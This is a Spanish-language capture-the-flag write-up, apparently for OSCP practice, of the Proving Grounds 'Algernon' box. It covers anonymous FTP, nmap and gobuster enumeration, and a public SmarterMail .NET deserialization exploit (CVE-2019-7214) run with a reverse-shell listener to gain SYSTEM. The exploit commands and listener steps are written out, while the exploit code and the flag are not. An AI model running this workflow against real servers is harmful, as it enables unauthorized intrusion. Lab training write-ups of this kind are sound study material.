PG Algernon Writeup — SmarterMail Deserialization RCE (2026)

Info de la Box

Resumen del Ataque

FTP anónimo → logs de SmarterMail confirmaron que existe usuario admin → puerto 80 era una página default de IIS, callejón sin salida → puerto 9998 tenía SmarterMail Build 6985 → RCE público por .NET deserialization → caímos directo como nt authority\system. Sin privesc necesario.

Enumeración

sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
sudo nmap -Pn -sC -sV -p 21,80,135,139,445,5040,9998,17001 -oA targeted $ip

De entrada dos cosas me llamaron la atención — FTP anónimo y ese puerto raro 9998 corriendo HTTP. Puerto 80 es solo IIS default así que no espero mucho ahí, pero lo voy a revisar igual.

Yendo por el Camino Equivocado Primero

Empecé con FTP porque el acceso anónimo siempre vale la pena revisar.

ftp $ip
# Login: anonymous / anonymous
# Encontré directorios: ImapRetrieval, Logs, PopRetrieval, Spool

Dentro de Logs/ encontré 2020.05.12-administrative.log — esto confirmó que existe un usuario admin en la aplicación de mail corriendo en esta box. Bueno saberlo, pero no podía hacer mucho con solo un username y sin password.

Después perdí tiempo con el puerto 80.

gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
# Solo encontró: aspnet_client (301)

Página default de IIS. Nada. Debería haber avanzado inmediatamente — cuando ves esa página de landing default de IIS sin nada detrás, casi siempre es un callejón sin salida. Pero seguí picándola un rato antes de aceptar lo obvio.

El Foothold Real — Puerto 9998

Después de perder tiempo en el 80, finalmente fui al puerto raro.

curl -L http://$ip:9998
# Aplicación SmarterMail — frontend Angular

SmarterMail. Ahora los logs del FTP tienen sentido — es un mail server. Y ese usuario admin de los logs es probablemente la cuenta admin de SmarterMail.

Primer instinto — buscar exploits públicos.

searchsploit smartermail
# SmarterMail Build 6985 - Remote Code Execution | windows/remote/49216.py

Build 6985 coincide exactamente con lo que nmap identificó. RCE público via .NET deserialization. CVE-2019-7214.

La vulnerabilidad está en cómo SmarterMail maneja objetos serializados de .NET. Es un bug clásico de deserialization — la aplicación confía en datos serializados controlados por el usuario sin validación, así que podes crear un objeto malicioso que ejecuta código arbitrario cuando el servidor lo deserializa. El exploit hace todo el trabajo pesado, solo hay que poner tu IP y puerto.

Explotación

# Agarrar el exploit
searchsploit -m windows/remote/49216.py

# Editar — poner LHOST y LPORT con tu IP de Kali y puerto del listener
code 49216.py

# Iniciar listener
penelope -p 4444

# Disparar
python3 49216.py

Y eso es todo. La shell vuelve al instante.

whoami: nt authority\system
hostname: algernon

Caímos como SYSTEM. El servicio de SmarterMail estaba corriendo como nt authority\system, así que cuando el exploit de deserialization ejecuta código, corre al nivel de privilegio que tenga el servicio. En este caso — el más alto. No se necesitó fase de privesc.

Este es un gran ejemplo de por qué es peligroso correr servicios como SYSTEM. Una vulnerabilidad en la aplicación y el atacante es dueño de toda la box. Si SmarterMail estuviera corriendo como una service account de bajo privilegio, habría necesitado una cadena de privesc separada.

Prueba

PS C:\Windows\system32> whoami; hostname; ipconfig; type C:\Users\Administrator\Desktop\proof.txt
nt authority\system
algernon
IPv4 Address: 192.168.231.65
[flag redacted]

Lo Que Aprendí

Mi instinto de enumeración está mejorando. Encontré el FTP anónimo rápido, agarré los logs, identifiqué el usuario admin. Y cuando vi SmarterMail en 9998 mi primer movimiento fue searchsploit. Ese reflejo tiene que ser automático para el examen OSCP.

Pero todavía pierdo tiempo en callejones sin salida. El puerto 80 era obviamente una página default de IIS y seguí corriendo gobuster. Lección aprendida — cuando ves esa página default sin nada detrás, avanzá a los puertos inusuales inmediatamente. Los puertos raros son casi siempre donde está el foothold real.

zsh te va a morder si no usás comillas en globs. Comandos como grep ^[0-9] y nmap --script ftp-* se rompen en zsh porque intenta expandir los patrones glob. Siempre usar comillas: grep '^[0-9]', --script 'ftp-*'. Algo chico pero perdí tiempo debuggeando esto cuando el problema real era mi shell, no los comandos.

Patrón: “Puerto alto inusual corriendo HTTP? curl -L, identificar la aplicación, y después searchsploit inmediatamente. Que el puerto 80 sea un callejón sin salida es la pista de que el objetivo real está en otro lado.”